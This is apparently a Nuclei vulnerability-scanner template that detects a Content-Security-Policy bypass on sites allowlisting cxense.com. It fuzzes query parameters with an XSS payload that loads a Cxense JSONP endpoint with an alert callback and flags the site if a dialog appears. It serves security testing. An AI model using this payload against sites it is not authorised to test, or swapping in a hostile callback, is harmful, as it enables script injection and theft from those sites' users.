id: cxense-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Cxense API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,cxense-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "cxense.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: cxense_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.cxense.com/profile/user/segment?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "cxense_api_csp_xss == true"
# digest: 490a0046304402202507aab221d824712743d50cb95e0288121b7e5466a4c13ed0de5c6cafb4c13402205c3da4cb416a07de0ebb2637387512a7f1017c0cc53008052f87a12cab5502c2:922c64590222798bb761d5b6d8e72950